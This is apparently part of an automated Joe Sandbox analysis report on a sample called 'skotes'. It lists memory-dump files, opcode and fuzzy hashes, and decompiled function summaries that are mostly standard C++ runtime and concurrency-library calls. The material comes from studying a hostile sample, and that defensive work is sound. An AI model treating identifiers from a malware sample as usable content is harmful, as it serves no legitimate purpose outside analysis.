Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: cb8ce9b93c930285507949e3e059dfedc27358310c8a56b3cfe7460a01d50b8e
Instruction ID: 19871e08f82f84dae387728a72c743f64426e5093aea40e6f13ce66ead18cb12
Opcode Fuzzy Hash: cb8ce9b93c930285507949e3e059dfedc27358310c8a56b3cfe7460a01d50b8e
Instruction Fuzzy Hash: 8CC18971800609EFCF19DFA4E8819AEBBB5FF14311F18455AE8116B20AD771EA61CFB1

Function 00D16E00 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00D16ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00D16F22
std::_Rethrow_future_exception.LIBCPMT ref: 00D16F32
__Mtx_unlock.LIBCPMT ref: 00D16FD5
__Mtx_unlock.LIBCPMT ref: 00D170DB
__Mtx_unlock.LIBCPMT ref: 00D17116

Strings

?]&$, xrefs: 00D16E14, 00D16F54, 00D17024

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID: ?]&$
API String ID: 1997747980-313912829
Opcode ID: 2ce9c990a3373c01cd6a489a4452e1d9e7040f52727a49006066a6173f00e253
Instruction ID: 22ae3fbfdda38cf407c715eef5bb77a40ba145ae2c5fa2f9b7bba796226c1db6
Opcode Fuzzy Hash: 2ce9c990a3373c01cd6a489a4452e1d9e7040f52727a49006066a6173f00e253
Instruction Fuzzy Hash: BBC1BF71904304BBDB24DFA4E845BEABBB4EF05310F04456EE81697692EF71E988CB71

Function 00D34840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00D34877
___except_validate_context_record.LIBVCRUNTIME ref: 00D3487F
_ValidateLocalCookies.LIBCMT ref: 00D34908
__IsNonwritableInCurrentImage.LIBCMT ref: 00D34933
_ValidateLocalCookies.LIBCMT ref: 00D34988

Strings

?]&$, xrefs: 00D348F2, 00D3496F
csm, xrefs: 00D3491D

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: ?]&$$csm
API String ID: 1170836740-2797054762
Opcode ID: 7bd83c380b0886089bfbec9ffbd4e7f4b54d3639ce2dfecf7aa4be137ab1c9fe
Instruction ID: 3440e3236cee8117c774697e07ebba96d11aaeece4ffcb1a20fa6f636431f98b
Opcode Fuzzy Hash: 7bd83c380b0886089bfbec9ffbd4e7f4b54d3639ce2dfecf7aa4be137ab1c9fe
Instruction Fuzzy Hash: 8841D834A00209AFCF10DF68D885A9EBBB4FF45318F188199E8149B356D735EA15CFB1

Function 00D27364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00D273B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00D273F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 00D2740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00D27419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D27440

Strings

ppVirtualProcessorRoots, xrefs: 00D27438
count, xrefs: 00D2737E

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 408324912d87683995d41f50e88d278b14c84c42a2f3f812584568c1030dd511
Instruction ID: 8086babefa506278a5ed3cccdcf5e2d7ec34172f060e7563de9f7c9b2e80e9e0
Opcode Fuzzy Hash: 408324912d87683995d41f50e88d278b14c84c42a2f3f812584568c1030dd511
Instruction Fuzzy Hash: 15215E34A00229AFCF10EF58E595AADBBB5FF58348F144069E81597351DB30AE45CBB0

Function 00D278E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00D27903

Part of subcall function 00D25CB8: __EH_prolog3_catch.LIBCMT ref: 00D25CBF
Part of subcall function 00D25CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00D25CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00D2792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00D27936

Part of subcall function 00D25CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00D25D70
Part of subcall function 00D25CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00D25D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00D27982
Concurrency::location::_Assign.LIBCMT ref: 00D279A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 00D279AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00D279BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 00D279ED

Part of subcall function 00D2691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00D26942
Part of subcall function 00D2691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00D26965

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
